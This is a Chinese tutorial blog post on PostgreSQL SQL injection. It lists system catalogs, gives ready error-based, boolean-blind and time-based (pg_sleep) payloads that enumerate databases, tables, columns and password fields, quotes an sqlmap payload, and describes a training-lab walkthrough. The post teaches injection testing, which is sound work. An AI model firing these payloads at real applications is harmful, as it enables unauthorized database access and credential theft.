SQL注入漏洞(postgresql注入)

2023-10-31

以前孤陋寡闻对postgresql这个数据库少有了解,后来与几个目前在企业实习的朋友聊天才得知他们有的公司项目用的是postgresql,有的公司是正在将原本的数据库迁移到postgresql。可见postgresql比较热(毕竟免费且功能齐全)。

postgresql简称PG,是一种特性非常齐全的自由软件的对象-关系型数据库管理系统。

默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres 。

简单使用

连接数据库

psql -U 用户名 -h 主机号 [-d 数据库名,-p 端口号]

查库:\l

选库:\c  库名

查表:\d

查列:\d 表名

\x:查询结果以行或列显示切换

如果连接不上数据库就在,/etc/postgresql/版本数/main/pg_hba.conf中添加IP如下图中最下面的一行格式即可。

postgresqlMySQL的特性也有相通,比如information_schema也是存在的且与MySQL的使用大致相同,不过postgresql查表的限制都是public,啥意思?操作一下就知道了

MySQL查表时,table_schema限制为数据库名,postgresql为public。

postgresql有几个特有的查询关键字

current_catalog / current_database() 与MySQL中的database()作用相同,为当前数据库名

pg_database可查询所有的数据库(列名关键字为datname)

MySQL中的limit 0,1在postgresql只能以limit 1 offset 0格式存在

user / current_user / getpgusername()都可用于查询当前用户名

pg_stat_user_tables为当用户的表单所有信息,可用于查表名(列关键字为relname)

current_schema[()]表示当前模式名

pg_tables 是一个系统表,提供对数据库中每个表的信息的访问,通过对schemaname模式的限制得到表名

另外,postgresql只有--+注释符,像#;%00都是不可以的。

SQL注入

联合注入就不说了,记住上面几个关键字,MySQLunion注入查询的,postgresql也是一样查询。

报错注入

postgresql的报错注入原理与MSSQL的相同利用强类型语言数据库特性,当类型不一致时将会报错带出敏感数据达到注入的目的。具体用到的函数与MSSQL相同,cast()或者convert()这种强制转换的函数在与一个数比较达到报错目的。(前提是目标网站开启了报错提示)。

查看版本:
1 AND 2=CAST((SELECT version())::text AS NUMERIC)

查库:
1 AND 2=CAST((SELECT current_database())::text AS NUMERIC)
1 AND 2=CAST((SELECT datname from pg_database limit 1 offset 0)::text AS NUMERIC)
………………

查表:
1 AND 2=CAST((SELECT relname from pg_stat_user_tables limit 1 offset 0)::text AS NUMERIC)
………………

查列:
1 AND 2=CAST((select column_name from information_schema.columns where table_name='test' limit 1 offset 0)::text AS NUMERIC)


还有一个sqlmap跑出来的payload(仅供参考):
1 AND 7778=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (7778=7778) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(112)||CHR(106)||CHR(113)) AS NUMERIC)

这里解释一下这几个函数在这里面的作用:

CAST():强制转换,在这里主要格式为CAST('string' as NUMERIC),即将字符串转换为数字型。

1::text  :   这个和上面恰好相反,它的意思是将一个数字型转换为text文本类型

sqlmap中有个case...when...then...else...end  是类似与if的分支条件语句

布尔盲注

利用ascii()substring()between(或者用等于号 = 判断)

判断数据库名长度:
1' and (select length(current_database())) between 0 and 14 --+

判断数据表的个数:
1' and (select count(*) from pg_stat_user_tables) between 0 and 4 --+

判断数据库的名:
1' and (select ascii(substr(current_database(),1,1))) between 0 and 118--+

判断表名长度:
1' and (select length(relname) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 5--+

判断表名:
1' and  (select ascii(substr(relname,1,1)) from pg_stat_user_tables limit 1 OFFSET 0) between 0 and 117--+

判断列名:
1' and  (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name='users' limit 1 OFFSET 0) between 0 and 110 --+

……………………

原理啥的应该不用说了,如果不知道建议看前面的MySQL文章循序渐进。

时间盲注

找一个替代MySQLsleep()或者benchmark()作用的函数-----pg_sleep()

查库:
1 and (case when(ascii(substr((select datname from pg_database limit 1),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)

查表:
1 and (case when(ascii(substr((select relname from pg_stat_user_tables limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)

查列:
1 and (case when(ascii(substr((select column_name from information_schema.columns where table_name="users" limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)

查字段:
1 and (case when(ascii(substr((select password from users limit 1 offset 0),1,1))=97) then (select 5 from pg_sleep(5)) else 1 end)

堆叠注入

只要一句sql语句有个结束标志,且网站对sql语句的执行条数没有限制,堆叠注入是最简单方便的。

小试牛刀

SQL手工注入漏洞测试(PostgreSQL数据库)

墨者学院靶场的一个postgresql题目,一起巩固一下吧。

初步判断为数字型注入,进而运用 order by 判断列的数量为4,但是出现如下

 无反应?不用慌,出现这种情况说明联合注入时类型不统一,所以我们一个一个的测试

经过测试发现四个类型都为字符型,因此就成功了,我们就可以用比较常规的查询做了,查库,

 查表,

依次遍历表查到一个类似用户表的名字,进而查列

最后把数据查出来即可

参考:PostgreSQL 12系统表(2)pg_tables_MambaCloud的博客-CSDN博客

PostgreSQL数据库的注入_谢公子的博客-CSDN博客_postgresql注入

postgresql使用(三):收集Postgresql数据库统计信息 - 灰信网(软件开发博客聚合)
Postgresql注入笔记 - 简书

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入漏洞(postgresql注入) 的相关文章

  • 如何搜索表中的所有列?

    如何在 SQL Server 中搜索表的所有列 SELECT FROM yourtable WHERE val IN field1 field2 field3 field4 如果您正在寻找精确的全场比赛 如果你正在寻找子字符串匹配 你将不得
  • PostgreSQL round(v numeric, s int)

    Which method http en wikipedia org wiki Rounding Tie breakingPostgres 吗round v numeric s int http www postgresql org doc
  • Sql Server 的夏令时

    我们正在使用一个以 C Unix 格式存储日期的旧应用程序 C 时间基本上是自 1970 年 1 月 1 日以来的秒数 日期以整数形式存储在 SQL Server 数据库中 我正在为使用这些日期的报告编写视图 到目前为止 我正在使用以下命令
  • Postgres LIMIT/OFFSET 奇怪的行为

    我正在使用 PostgreSQL 9 6 我有一个这样的查询 SELECT anon 1 id AS anon 1 id anon 1 is valid AS anon 1 is valid anon 1 first name AS ano
  • 使用转义换行符和回车符取消转义字符串

    我正在尝试编写一个 PLPGSQL 函数来混淆 审查 编辑文本 Obfuscate a body of text by replacing lowercase letters and numbers with symbols CREATE
  • 唯一约束与唯一索引?

    之间有区别吗 CREATE TABLE p product no integer name text UNIQUE price numeric and CREATE TABLE p product no integer name text
  • nvarchar 值“3001822585”的转换溢出了 int 列

    我使用以下方法将 Excel 文件导入到 SQL Server Excel 文件将所有值作为字符串 我可以导入文件 除了Barcode SalePrice and Price2 我收到错误 nvarchar 值 3001822585 条形码
  • Postgres:显示继承的字段

    我应该实现什么查询来获取继承的列 读过this http www alberton info postgresql meta info html综合帖子没有找到解决办法 如果我理解正确的话 您想知道作为表之间继承的一部分的列的名称 SELE
  • 如何对多行的一列值求和?

    我有这个表 我想添加几行的 change 列的值 或者更准确地说 从 ne 值为零的行到 ne 值为零的下一行 不是第二个本身 任何答案将不胜感激 rn date ne change 0 2008 12 07 0 10330848398 1
  • SQL Server 2012:有条件地增加计数器用户 ROW_NUMBER()

    我正在尝试申请ROW NUMBER 根据特定条件增加计数器 我的数据如下所示 目标计数器是Prep column id DSR PrepIndicator Prep 1662835 1 1 1 1662835 14 2 2 1662835
  • 如何在 Spring Data 中选择不同的结果

    我在使用简单的 Spring Data 查询或 Query 或 QueryDSL 在 Spring Data 中构建查询时遇到问题 如何选择三列 研究 国家 登录 不同的行 并且查询结果将是用户对象类型的列表 Table User Id S
  • Extbase - 从查询中获取创建的sql

    我想从我的typo3 扩展中获取一些数据库表 该扩展基于 extbase 查询总是不返回任何内容 但数据存在 我试过这个 query this gt createQuery query gt statement SELECT FROM my
  • SQLite (Android):使用 ORDER BY 更新查询

    Android SQLite 我想要在 myTable 中的其他行之间插入行在android中使用SQLite 为此 我尝试增加从第 3 行开始的所有行的 id 这样 我就可以在位置 3 处插入新行 myTable 的主键是列 id 表中没
  • ASP SQL Server 连接

  • 在 Mysql 上使用 EntityManager JPA 运行脚本

    我正在尝试运行脚本 sql 文件 但由于我尝试了多种方法 因此出现多个错误 这是我的主要 sql 脚本 INSERT INTO Unity VALUES 11 paq 0 2013 04 15 11 41 37 Admin Paquete
  • 在 MS Access SQL 查询中从正常日期转换为 unix 纪元日期

    我正在尝试编写一个通过 ODBC 连接到 MySQL 数据库的 MS Access 2007 连接的查询 一切工作正常 查询执行我想要的操作 我挂断的部分是我一直在询问用户 unix 纪元时间 而不是常规日期 我查找了 MS Access
  • Postgres JSON 数据类型 Rails 查询

    我正在使用 Postgres 的 json 数据类型 但想要使用嵌套在 json 中的数据进行查询 排序 我想在 json 数据类型上使用 where 进行订购或查询 例如 我想查询关注者数量 gt 500 的用户 或者我想按关注者或关注数
  • 标量子查询包含多行

    我正在使用 H2 数据库并想要移动一些数据 为此 我创建了以下查询 UPDATE CUSTOMER SET EMAIL SELECT service EMAIL FROM CUSTOMER SERVICE AS service INNER
  • SQL Server 2008 错误 233

    我正在使用以下 sql 脚本在 SQL Server 2008 中创建新登录名 CREATE LOGIN xyz WITH PASSWORD xyz DEFAULT DATABASE master DEFAULT LANGUAGE us e
  • 分组和切换列和行

    我不知道这是否会被正式称为枢轴 但我想要的结果是这样的 Alex Charley Liza 213 345 1 23 111 5 42 52 2 323 5 23 1 324 5 我的输入数据采用这种形式 Apt Name

随机推荐

  • rhel7 初始化mysql 5.7 root密码

    mysql 5 6版本后已经不提供默认root密码登录了 如果想在5 6版本之后修改mysql root用户密码可参考如下步骤 5 7 11 版本官方下载地址 http dev mysql com downloads mysql 解压后rp
  • 2023前端面试题合集(附答案)持续更新中...

    2023前端面试合集 js基础类 1 什么是原型链及原型链存在的意义 2 什么是作用域 3 什么是闭包 4 浏览器的渲染过程 5 数据类型简介 6 深浅拷贝 7 css水平居中的几种方法 8 你知道数组有哪些实用高阶函数吗 9 call a
  • python使用pywinauto实现桌面APP自动化测试

    准备 1 安装python 安装版本为2 7 14 并将python添加至系统变量 2 安装pywinauto 进入python安装目录 进入Scripts目录下 shift 右键 点击在此处打开命令窗口 输入命令 pip install
  • ai图像识别python的项目_利用ImageAI库只需几行python代码实现目标检测

    什么是目标检测 目标检测关注图像中特定的物体目标 需要同时解决解决定位 localization 识别 Recognition 相比分类 检测给出的是对图片前景和背景的理解 我们需要从背景中分离出感兴趣的目标 并确定这一目标的描述 类别和位
  • JavaScript 浏览器点击复制功能(CopyToClipboard)

    尝试了JS下两种复制到剪贴板的功能 div div
  • mysql的备份和恢复

    mysql的备份和恢复 备份数据库文件 1 停止mysql服务 备份数据库目录中指定数据库 如 cp r var lib mysql bw home backup 2 恢复数据库 将备份文件拷回至数据库目录 var lib mysql 并且
  • 程序员应知应会之——结构体字节对齐 填充与打包

    文章目录 Hello World 数据对齐 结构体的数据填充 输出分析 structure A structure B structure C 结构体也有对齐要求 structure D 如何减少填充 什么是结构体packing 指针 Mi
  • 国际版阿里云/腾讯云免卡开户:阿里云GPU服务器教程

    阿里云GPU服务器教程 阿里云GPU服务器为深度学习和大规模数据处理提供了高效的核算渠道 本文将介绍怎么注册和运用阿里云GPU服务器 1 注册GPU服务器 首先 登录阿里云官网并进入控制台 挑选 ECS 服务 在ECS页面 点击 实例 选项
  • elasticsearch批量修改,批量更新某个字段

    1 源生API 在这里没有用官方提供的bulk API 而是用的另外一种方式 POST infomations infomations update by query JSON请求格式 query match status UP SHELF
  • Android项目实战系列—基于博学谷(七)课程模块(上)

    由于这个模块内容较多 分为上 中 下 三篇博客分别来讲述 请耐心阅读 课程模块分为四个部分 课程列表 课程详情 视频播放 播放记录 课程模块 上 主要讲述课程列表部分 一 水平滑动广告栏界面 1 创建水平滑动广告栏界面 在res layou
  • 友情链接检查工具

    友链检测工具 它是一款 完全免费 的软件 用以检测友情链接没有掉链 与网页版对比 具有 多线程检测 实时检测 速度快 高效 操作 步骤 输入网址 点击查询按钮 等待完成返回查询结果 友链检测工具 zip
  • python简单的学习方式04

    python学习 一 嵌套循坏 二 break和continue关键字 三 for else和while else 四 列表的性质 五 列表的增删查改 1 增加 2 修改 3 删除 一 嵌套循坏 引入模块 作用 直接借用别人实现好的功能来解
  • 实例化和初始化的区别

    实例化一般是由类创建的对象 在构造一个实例的时候需要在内存中开辟空间 即 Student s new Student 初始化 实例化的基础上 并且对 对象中的值进行赋一下初始值
  • 面试题--Git与设计模式

    面试题 Git与设计模式 Git 1 Git和SVN有什么区别 2 什么是Git 3 在 Git 中提交的命令是什么 4 什么是 Git 中的 裸存储库 5 Git 是用什么语言编写的 6 在Git中 你如何还原已经 push 并公开的提交
  • WSL启动Ubuntu时报错“参考的对象类型不支持尝试的操作”

    最近要用到微软的WSL了 打开以后发现hyper v之前因为用virtual box虚拟机给关了 导致报错 打开相关的虚拟化功能以后 又遇到了新的问题 参考的对象类型不支持尝试的操作 电脑系统 WIN11 我会给大家介绍三种方法 打游戏的朋
  • 队列的使用注意点

    队列通常使用链表或数组作为元素的基础存储 队列的大小需要约束 如果允许内存中的队列不受限制 那么对于许多类别的问题 它可以不受限制地增长 直到它达到灾难性失败的地步 因为它耗尽了内存 这发生在生产者超过消费者的时候 无界队列在系统中可能很有
  • leecode26题删除排序数组中的重复项

    双指针法的介绍 下面内容转载自代码随想录 点击进入代码随想录 双指针法 快慢指针法 通过一个快指针和慢指针在一个for循环下完成两个for循环的工作 定义快慢指针 快指针 寻找新数组的元素 新数组就是不含有目标元素的数组 慢指针 指向更新
  • 华为OD机试 - 计算误码率(Java)

    题目描述 误码率是最常用的数据通信传输质量指标 它可以理解为 在多少位数据中出现一位差错 移动通信网络中的误码率主要是指比特误码率 其计算公式如下 比特误码率 错误比特数 传输总比特数 为了简单 我们使用字符串来标识通信的信息 一个字符错误
  • 解决libtorch安装编译链接时出错

    cmake build config Release Scanning dependencies of target example app 50 Building CXX object CMakeFiles example app dir
  • SQL注入漏洞(postgresql注入)

    以前孤陋寡闻对postgresql这个数据库少有了解 后来与几个目前在企业实习的朋友聊天才得知他们有的公司项目用的是postgresql 有的公司是正在将原本的数据库迁移到postgresql 可见postgresql比较热 毕竟免费且功能